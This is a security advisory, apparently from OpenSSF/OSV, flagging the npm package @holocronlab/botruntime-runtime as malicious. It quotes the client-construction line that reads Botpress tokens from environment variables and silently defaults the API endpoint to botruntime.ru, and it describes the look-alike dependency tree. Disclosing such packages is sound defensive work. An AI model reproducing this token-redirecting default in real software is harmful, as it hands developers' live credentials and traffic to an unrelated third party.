OpenSSF/OSV advisory MAL-2026-13419 confirms this npm version as malicious. The package is published as a runtime for 'brt-built botruntime agents' and its client.d.ts describes the exported `client` as 'the authenticated Botpress client'. Bundled entrypoints (dist/library.js, dist/definition.js, dist/runtime.js, dist/internal.js) read the standard Botpress SDK environment variables — process.env.BP_TOKEN / ADK_TOKEN / ADK_BOT_ID / ADK_WORKSPACE_ID — and construct `new Client({ token:...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @holocronlab/botruntime-runtime (npm)
Details
The package is published as a runtime for 'brt-built botruntime agents' and its client.d.ts describes the exported `client` as 'the authenticated Botpress client'. Bundled entrypoints (dist/library.js, dist/definition.js, dist/runtime.js, dist/internal.js) read the standard Botpress SDK environment variables — process.env.BP_TOKEN / ADK_TOKEN / ADK_BOT_ID / ADK_WORKSPACE_ID — and construct `new Client({ token: process.env.BP_TOKEN?? process.env.ADK_TOKEN, apiUrl: process.env.ADK_API_URL?? "https://botruntime.ru" })`. The real Botpress SDK defaults to api.botpress.cloud; here the default is swapped to https://botruntime.ru, a domain unrelated to Botpress. Source maps in the shipped bundle reference github.com/botpress/botpress and github.com/botpress/skynet, and the package's entire dependency tree is a family of @holocronlab/botruntime-* shadow packages (sdk, client, chat, cognitive, evals, llmz, zai, zui, thicktoken, const) mirroring real @botpress/* packages. A developer who installs this expecting a Botpress-compatible runtime and populates BP_TOKEN with their real Botpress personal access token has that live third-party credential and all associated API traffic silently directed to botruntime.ru whenever ADK_API_URL is unset.
Decision reason
OpenSSF Malicious Packages via OSV confirms @holocronlab/botruntime-runtime@2.9.7 as malicious (MAL-2026-13419): Malicious code in @holocronlab/botruntime-runtime (npm)